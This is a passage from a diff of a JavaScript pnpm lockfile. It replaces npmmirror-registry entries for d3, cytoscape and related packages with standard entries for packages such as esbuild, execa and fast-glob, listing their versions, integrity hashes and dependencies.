sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cytoscape-cose-bilkent/-/cytoscape-cose-bilkent-4.1.0.tgz} - id: registry.npmmirror.com/cytoscape-cose-bilkent/4.1.0 - name: cytoscape-cose-bilkent - version: 4.1.0 - peerDependencies: - cytoscape: ^3.2.0 - dependencies: - cose-base: registry.npmmirror.com/cose-base/1.0.3 - cytoscape: registry.npmmirror.com/cytoscape/3.23.0 + /entities@4.4.0: + resolution: {integrity: sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA==} + engines: {node: '>=0.12'} dev: true - registry.npmmirror.com/cytoscape-fcose/2.1.0_cytoscape@3.23.0: - resolution: {integrity: sha512-Q3apPl66jf8/2sMsrCjNP247nbDkyIPjA9g5iPMMWNLZgP3/mn9aryF7EFY/oRPEpv7bKJ4jYmCoU5r5/qAc1Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cytoscape-fcose/-/cytoscape-fcose-2.1.0.tgz} - id: registry.npmmirror.com/cytoscape-fcose/2.1.0 - name: cytoscape-fcose - version: 2.1.0 - peerDependencies: - cytoscape: ^3.2.0 - dependencies: - cose-base: registry.npmmirror.com/cose-base/2.1.0 - cytoscape: registry.npmmirror.com/cytoscape/3.23.0 + /envinfo@7.10.0: + resolution: {integrity: sha512-ZtUjZO6l5mwTHvc1L9+1q5p/R3wTopcfqMW8r5t8SJSKqeVI/LtajORwRFEKpEFuekjD0VBjwu1HMxL4UalIRw==} + engines: {node: '>=4'} + hasBin: true dev: true - registry.npmmirror.com/cytoscape/3.23.0: - resolution: {integrity: sha512-gRZqJj/1kiAVPkrVFvz/GccxsXhF3Qwpptl32gKKypO4IlqnKBjTOu+HbXtEggSGzC5KCaHp3/F7GgENrtsFkA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/cytoscape/-/cytoscape-3.23.0.tgz} - name: cytoscape - version: 3.23.0 - engines: {node: '>=0.10'} + /error-ex@1.3.2: + resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==} dependencies: - heap: registry.npmmirror.com/heap/0.2.7 - lodash: registry.npmmirror.com/lodash/4.17.21 - dev: true - - registry.npmmirror.com/d3-array/1.2.4: - resolution: {integrity: sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-array/-/d3-array-1.2.4.tgz} - name: d3-array - version: 1.2.4 + is-arrayish: 0.2.1 dev: true - registry.npmmirror.com/d3-array/3.1.6: - resolution: {integrity: sha512-DCbBBNuKOeiR9h04ySRBMW52TFVc91O9wJziuyXw6Ztmy8D3oZbmCkOO3UHKC7ceNJsN2Mavo9+vwV8EAEUXzA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-array/-/d3-array-3.1.6.tgz} - name: d3-array - version: 3.1.6 - engines: {node: '>=12'} + /es-abstract@1.20.0: + resolution: {integrity: sha512-URbD8tgRthKD3YcC39vbvSDrX23upXnPcnGAjQfgxXF5ID75YcENawc9ZX/9iTP9ptUyfCLIxTTuMYoRfiOVKA==} + engines: {node: '>= 0.4'} + dependencies: + call-bind: 1.0.2 + es-to-primitive: 1.2.1 + function-bind: 1.1.1 + function.prototype.name: 1.1.5 + get-intrinsic: 1.1.1 + get-symbol-description: 1.0.0 + has: 1.0.3 + has-property-descriptors: 1.0.0 + has-symbols: 1.0.3 + internal-slot: 1.0.3 + is-callable: 1.2.4 + is-negative-zero: 2.0.2 + is-regex: 1.1.4 + is-shared-array-buffer: 1.0.2 + is-string: 1.0.7 + is-weakref: 1.0.2 + object-inspect: 1.12.0 + object-keys: 1.1.1 + object.assign: 4.1.2 + regexp.prototype.flags: 1.4.3 + string.prototype.trimend: 1.0.5 + string.prototype.trimstart: 1.0.5 + unbox-primitive: 1.0.2 + dev: true + + /es-to-primitive@1.2.1: + resolution: {integrity: sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==} + engines: {node: '>= 0.4'} dependencies: - internmap: registry.npmmirror.com/internmap/2.0.3 + is-callable: 1.2.4 + is-date-object: 1.0.5 + is-symbol: 1.0.4 dev: true - registry.npmmirror.com/d3-axis/1.0.12: - resolution: {integrity: sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-axis/-/d3-axis-1.0.12.tgz} - name: d3-axis - version: 1.0.12 + /es6-promise@4.2.8: + resolution: {integrity: sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==} dev: true - registry.npmmirror.com/d3-axis/3.0.0: - resolution: {integrity: sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-axis/-/d3-axis-3.0.0.tgz} - name: d3-axis - version: 3.0.0 + /esbuild@0.17.19: + resolution: {integrity: sha512-XQ0jAPFkK/u3LcVRcvVHQcTIqD6E2H1fvZMA5dQPSOWb3suUbWbfbRf94pjc0bNzRYLfIrDRQXr7X+LHIm5oHw==} engines: {node: '>=12'} + hasBin: true + requiresBuild: true + optionalDependencies: + '@esbuild/android-arm': 0.17.19 + '@esbuild/android-arm64': 0.17.19 + '@esbuild/android-x64': 0.17.19 + '@esbuild/darwin-arm64': 0.17.19 + '@esbuild/darwin-x64': 0.17.19 + '@esbuild/freebsd-arm64': 0.17.19 + '@esbuild/freebsd-x64': 0.17.19 + '@esbuild/linux-arm': 0.17.19 + '@esbuild/linux-arm64': 0.17.19 + '@esbuild/linux-ia32': 0.17.19 + '@esbuild/linux-loong64': 0.17.19 + '@esbuild/linux-mips64el': 0.17.19 + '@esbuild/linux-ppc64': 0.17.19 + '@esbuild/linux-riscv64': 0.17.19 + '@esbuild/linux-s390x': 0.17.19 + '@esbuild/linux-x64': 0.17.19 + '@esbuild/netbsd-x64': 0.17.19 + '@esbuild/openbsd-x64': 0.17.19 + '@esbuild/sunos-x64': 0.17.19 + '@esbuild/win32-arm64': 0.17.19 + '@esbuild/win32-ia32': 0.17.19 + '@esbuild/win32-x64': 0.17.19 + dev: true + + /escalade@3.1.1: + resolution: {integrity: sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/d3-brush/1.1.6: - resolution: {integrity: sha512-7RW+w7HfMCPyZLifTz/UnJmI5kdkXtpCbombUSs8xniAyo0vIbrDzDwUJB6eJOgl9u5DQOt2TQlYumxzD1SvYA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-brush/-/d3-brush-1.1.6.tgz} - name: d3-brush - version: 1.1.6 - dependencies: - d3-dispatch: registry.npmmirror.com/d3-dispatch/1.0.6 - d3-drag: registry.npmmirror.com/d3-drag/1.2.5 - d3-interpolate: registry.npmmirror.com/d3-interpolate/1.4.0 - d3-selection: registry.npmmirror.com/d3-selection/1.4.2 - d3-transition: registry.npmmirror.com/d3-transition/1.3.2 + /escape-string-regexp@1.0.5: + resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} + engines: {node: '>=0.8.0'} dev: true - registry.npmmirror.com/d3-brush/3.0.0: - resolution: {integrity: sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-brush/-/d3-brush-3.0.0.tgz} - name: d3-brush - version: 3.0.0 - engines: {node: '>=12'} - dependencies: - d3-dispatch: registry.npmmirror.com/d3-dispatch/3.0.1 - d3-drag: registry.npmmirror.com/d3-drag/3.0.0 - d3-interpolate: registry.npmmirror.com/d3-interpolate/3.0.1 - d3-selection: registry.npmmirror.com/d3-selection/3.0.0 - d3-transition: registry.npmmirror.com/d3-transition/3.0.1_d3-selection@3.0.0 + /esm@3.2.25: + resolution: {integrity: sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/d3-chord/1.0.6: - resolution: {integrity: sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-chord/-/d3-chord-1.0.6.tgz} - name: d3-chord - version: 1.0.6 - dependencies: - d3-array: registry.npmmirror.com/d3-array/1.2.4 - d3-path: registry.npmmirror.com/d3-path/1.0.9 + /esprima@4.0.1: + resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} + engines: {node: '>=4'} + hasBin: true dev: true - registry.npmmirror.com/d3-chord/3.0.1: - resolution: {integrity: sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-chord/-/d3-chord-3.0.1.tgz} - name: d3-chord - version: 3.0.1 - engines: {node: '>=12'} - dependencies: - d3-path: registry.npmmirror.com/d3-path/3.0.1 + /estree-walker@1.0.1: + resolution: {integrity: sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==} dev: true - registry.npmmirror.com/d3-collection/1.0.7: - resolution: {integrity: sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-collection/-/d3-collection-1.0.7.tgz} - name: d3-collection - version: 1.0.7 + /estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} dev: true - registry.npmmirror.com/d3-color/1.4.1: - resolution: {integrity: sha512-p2sTHSLCJI2QKunbGb7ocOh7DgTAn8IrLx21QRc/BSnodXM4sv6aLQlnfpvehFMLZEfBc6g9pH9SWQccFYfJ9Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-color/-/d3-color-1.4.1.tgz} - name: d3-color - version: 1.4.1 + /esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/d3-color/3.1.0: - resolution: {integrity: sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-color/-/d3-color-3.1.0.tgz} - name: d3-color - version: 3.1.0 - engines: {node: '>=12'} + /eve-raphael@0.5.0: + resolution: {integrity: sha512-jrxnPsCGqng1UZuEp9DecX/AuSyAszATSjf4oEcRxvfxa1Oux4KkIPKBAAWWnpdwfARtr+Q0o9aPYWjsROD7ug==} dev: true - registry.npmmirror.com/d3-contour/1.3.2: - resolution: {integrity: sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-contour/-/d3-contour-1.3.2.tgz} - name: d3-contour - version: 1.3.2 + /execa@5.1.1: + resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==} + engines: {node: '>=10'} dependencies: - d3-array: registry.npmmirror.com/d3-array/1.2.4 + cross-spawn: 7.0.3 + get-stream: 6.0.1 + human-signals: 2.1.0 + is-stream: 2.0.1 + merge-stream: 2.0.0 + npm-run-path: 4.0.1 + onetime: 5.1.2 + signal-exit: 3.0.7 + strip-final-newline: 2.0.0 dev: true - registry.npmmirror.com/d3-contour/3.0.1: - resolution: {integrity: sha512-0Oc4D0KyhwhM7ZL0RMnfGycLN7hxHB8CMmwZ3+H26PWAG0ozNuYG5hXSDNgmP1SgJkQMrlG6cP20HoaSbvcJTQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-contour/-/d3-contour-3.0.1.tgz} - name: d3-contour - version: 3.0.1 - engines: {node: '>=12'} + /execa@7.1.1: + resolution: {integrity: sha512-wH0eMf/UXckdUYnO21+HDztteVv05rq2GXksxT4fCGeHkBhw1DROXh40wcjMcRqDOWE7iPJ4n3M7e2+YFP+76Q==} + engines: {node: ^14.18.0 || ^16.14.0 || >=18.0.0} dependencies: - d3-array: registry.npmmirror.com/d3-array/3.1.6 + cross-spawn: 7.0.3 + get-stream: 6.0.1 + human-signals: 4.3.1 + is-stream: 3.0.0 + merge-stream: 2.0.0 + npm-run-path: 5.1.0 + onetime: 6.0.0 + signal-exit: 3.0.7 + strip-final-newline: 3.0.0 dev: true - registry.npmmirror.com/d3-delaunay/6.0.2: - resolution: {integrity: sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-delaunay/-/d3-delaunay-6.0.2.tgz} - name: d3-delaunay - version: 6.0.2 - engines: {node: '>=12'} + /expand-tilde@2.0.2: + resolution: {integrity: sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==} + engines: {node: '>=0.10.0'} dependencies: - delaunator: registry.npmmirror.com/delaunator/5.0.0 + homedir-polyfill: 1.0.3 dev: true - registry.npmmirror.com/d3-dispatch/1.0.6: - resolution: {integrity: sha512-fVjoElzjhCEy+Hbn8KygnmMS7Or0a9sI2UzGwoB7cCtvI1XpVN9GpoYlnb3xt2YV66oXYb1fLJ8GMvP4hdU1RA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-dispatch/-/d3-dispatch-1.0.6.tgz} - name: d3-dispatch - version: 1.0.6 + /extend-shallow@2.0.1: + resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} + engines: {node: '>=0.10.0'} + dependencies: + is-extendable: 0.1.1 dev: true - registry.npmmirror.com/d3-dispatch/3.0.1: - resolution: {integrity: sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-dispatch/-/d3-dispatch-3.0.1.tgz} - name: d3-dispatch - version: 3.0.1 - engines: {node: '>=12'} + /external-editor@3.1.0: + resolution: {integrity: sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==} + engines: {node: '>=4'} + dependencies: + chardet: 0.7.0 + iconv-lite: 0.4.24 + tmp: 0.0.33 dev: true - registry.npmmirror.com/d3-drag/1.2.5: - resolution: {integrity: sha512-rD1ohlkKQwMZYkQlYVCrSFxsWPzI97+W+PaEIBNTMxRuxz9RF0Hi5nJWHGVJ3Om9d2fRTe1yOBINJyy/ahV95w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-drag/-/d3-drag-1.2.5.tgz} - name: d3-drag - version: 1.2.5 - dependencies: - d3-dispatch: registry.npmmirror.com/d3-dispatch/1.0.6 - d3-selection: registry.npmmirror.com/d3-selection/1.4.2 + /fast-deep-equal@2.0.1: + resolution: {integrity: sha512-bCK/2Z4zLidyB4ReuIsvALH6w31YfAQDmXMqMx6FyfHqvBxtjC0eRumeSu4Bs3XtXwpyIywtSTrVT99BxY1f9w==} dev: true - registry.npmmirror.com/d3-drag/3.0.0: - resolution: {integrity: sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-drag/-/d3-drag-3.0.0.tgz} - name: d3-drag - version: 3.0.0 - engines: {node: '>=12'} - dependencies: - d3-dispatch: registry.npmmirror.com/d3-dispatch/3.0.1 - d3-selection: registry.npmmirror.com/d3-selection/3.0.0 + /fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} dev: true - registry.npmmirror.com/d3-dsv/1.2.0: - resolution: {integrity: sha512-9yVlqvZcSOMhCYzniHE7EVUws7Fa1zgw+/EAV2BxJoG3ME19V6BQFBwI855XQDsxyOuG7NibqRMTtiF/Qup46g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-dsv/-/d3-dsv-1.2.0.tgz} - name: d3-dsv - version: 1.2.0 - hasBin: true + /fast-glob@3.3.0: + resolution: {integrity: sha512-ChDuvbOypPuNjO8yIDf36x7BlZX1smcUMTTcyoIjycexOxd6DFsKsg21qVBzEmr3G7fUKIRy2/psii+CIUt7FA==} + engines: {node: '>=8.6.0'} dependencies: - commander: registry.npmmirror.com/commander/2.20.3 - iconv-lite: registry.npmmirror.com/iconv-lite/0.4.24 - rw: registry.npmmirror.com/rw/1.3.3 + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.5 dev: true - registry.npmmirror.com/d3-dsv/3.0.1: - resolution: {integrity: sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-dsv/-/d3-dsv-3.0.1.tgz} - name: d3-dsv - version: 3.0.1 - engines: {node: '>=12'} - hasBin: true - dependencies: - commander: registry.npmmirror.com/commander/7.2.0 - iconv-lite: registry.npmmirror.com/iconv-lite/0.6.3 - rw: registry.npmmirror.com/rw/1.3.3 + /fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} dev: true - registry.npmmirror.com/d3-ease/1.0.7: - resolution: {integrity: sha512-lx14ZPYkhNx0s/2HX5sLFUI3mbasHjSSpwO/KaaNACweVwxUruKyWVcb293wMv1RqTPZyZ8kSZ2NogUZNcLOFQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-ease/-/d3-ease-1.0.7.tgz} - name: d3-ease - version: 1.0.7 + /fastq@1.13.0: + resolution: {integrity: sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==} + dependencies: + reusify: 1.0.4 dev: true - registry.npmmirror.com/d3-ease/3.0.1: - resolution: {integrity: sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-ease/-/d3-ease-3.0.1.tgz} - name: d3-ease - version: 3.0.1 - engines: {node: '>=12'} + /fflate@0.8.0: + resolution: {integrity: sha512-FAdS4qMuFjsJj6XHbBaZeXOgaypXp8iw/Tpyuq/w3XA41jjLHT8NPA+n7czH/DDhdncq0nAyDZmPeWXh2qmdIg==} dev: true - registry.npmmirror.com/d3-fetch/1.2.0: - resolution: {integrity: sha512-yC78NBVcd2zFAyR/HnUiBS7Lf6inSCoWcSxFfw8FYL7ydiqe80SazNwoffcqOfs95XaLo7yebsmQqDKSsXUtvA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-fetch/-/d3-fetch-1.2.0.tgz} - name: d3-fetch - version: 1.2.0 + /figures@2.0.0: + resolution: {integrity: sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==} + engines: {node: '>=4'} dependencies: - d3-dsv: registry.npmmirror.com/d3-dsv/1.2.0 + escape-string-regexp: 1.0.5 dev: true - registry.npmmirror.com/d3-fetch/3.0.1: - resolution: {integrity: sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-fetch/-/d3-fetch-3.0.1.tgz} - name: d3-fetch - version: 3.0.1 - engines: {node: '>=12'} + /filelist@1.0.3: + resolution: {integrity: sha512-LwjCsruLWQULGYKy7TX0OPtrL9kLpojOFKc5VCTxdFTV7w5zbsgqVKfnkKG7Qgjtq50gKfO56hJv88OfcGb70Q==} dependencies: - d3-dsv: registry.npmmirror.com/d3-dsv/3.0.1 + minimatch: 5.0.1 dev: true - registry.npmmirror.com/d3-force/1.2.1: - resolution: {integrity: sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-force/-/d3-force-1.2.1.tgz} - name: d3-force - version: 1.2.1 + /fill-range@7.0.1: + resolution: {integrity: sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==} + engines: {node: '>=8'} dependencies: - d3-collection: registry.npmmirror.com/d3-collection/1.0.7 - d3-dispatch: registry.npmmirror.com/d3-dispatch/1.0.6 - d3-quadtree: registry.npmmirror.com/d3-quadtree/1.0.7 - d3-timer: registry.npmmirror.com/d3-timer/1.0.10 + to-regex-range: 5.0.1 dev: true - registry.npmmirror.com/d3-force/3.0.0: - resolution: {integrity: sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-force/-/d3-force-3.0.0.tgz} - name: d3-force - version: 3.0.0 - engines: {node: '>=12'} + /find-node-modules@2.1.3: + resolution: {integrity: sha512-UC2I2+nx1ZuOBclWVNdcnbDR5dlrOdVb7xNjmT/lHE+LsgztWks3dG7boJ37yTS/venXw84B/mAW9uHVoC5QRg==} dependencies: - d3-dispatch: registry.npmmirror.com/d3-dispatch/3.0.1 - d3-quadtree: registry.npmmirror.com/d3-quadtree/3.0.1 - d3-timer: registry.npmmirror.com/d3-timer/3.0.1 + findup-sync: 4.0.0 + merge: 2.1.1 dev: true - registry.npmmirror.com/d3-format/1.4.5: - resolution: {integrity: sha512-J0piedu6Z8iB6TbIGfZgDzfXxUFN3qQRMofy2oPdXzQibYGqPB/9iMcxr/TGalU+2RsyDO+U4f33id8tbnSRMQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-format/-/d3-format-1.4.5.tgz} - name: d3-format - version: 1.4.5 + /find-root@1.1.0: + resolution: {integrity: sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==} dev: true - registry.npmmirror.com/d3-format/3.1.0: - resolution: {integrity: sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-format/-/d3-format-3.1.0.tgz} - name: d3-format - version: 3.1.0 - engines: {node: '>=12'} + /find-up@4.1.0: + resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} + engines: {node: '>=8'} + dependencies: + locate-path: 5.0.0 + path-exists: 4.0.0 dev: true - registry.npmmirror.com/d3-geo/1.12.1: - resolution: {integrity: sha512-XG4d1c/UJSEX9NfU02KwBL6BYPj8YKHxgBEw5om2ZnTRSbIcego6dhHwcxuSR3clxh0EpE38os1DVPOmnYtTPg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-geo/-/d3-geo-1.12.1.tgz} - name: d3-geo - version: 1.12.1 + /find-up@5.0.0: + resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} + engines: {node: '>=10'} dependencies: - d3-array: registry.npmmirror.com/d3-array/1.2.4 + locate-path: 6.0.0 + path-exists: 4.0.0 dev: true - registry.npmmirror.com/d3-geo/3.0.1: - resolution: {integrity: sha512-Wt23xBych5tSy9IYAM1FR2rWIBFWa52B/oF/GYe5zbdHrg08FU8+BuI6X4PvTwPDdqdAdq04fuWJpELtsaEjeA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-geo/-/d3-geo-3.0.1.tgz} - name: d3-geo - version: 3.0.1 - engines: {node: '>=12'} + /findup-sync@4.0.0: + resolution: {integrity: sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==} + engines: {node: '>= 8'} + dependencies: + detect-file: 1.0.0 + is-glob: 4.0.3 + micromatch: 4.0.5 + resolve-dir: 1.0.1 + dev: true + + /flowchart.ts@1.0.0: + resolution: {integrity: sha512-U8FN9kg/U1xPdQ5xW3e/hZBSX7y/07zGESCrJ2mjlT8CLuhzPXHXRJrJ+VyFW0DEJLdj4O7MvJImg3sXeRGt1A==} dependencies: - d3-array: registry.npmmirror.com/d3-array/3.1.6 + '@types/raphael': 2.3.3 + raphael: 2.3.0 + tslib: 2.6.0 dev: true - registry.npmmirror.com/d3-hierarchy/1.1.9: - resolution: {integrity: sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-hierarchy/-/d3-hierarchy-1.1.9.tgz} - name: d3-hierarchy - version: 1.1.9 + /fraction.js@4.2.0: + resolution: {integrity: sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==} dev: true - registry.npmmirror.com/d3-hierarchy/3.1.2: - resolution: {integrity: sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz} - name: d3-hierarchy - version: 3.1.2 + /fs-extra@10.1.0: + resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==} engines: {node: '>=12'} + dependencies: + graceful-fs: 4.2.10 + 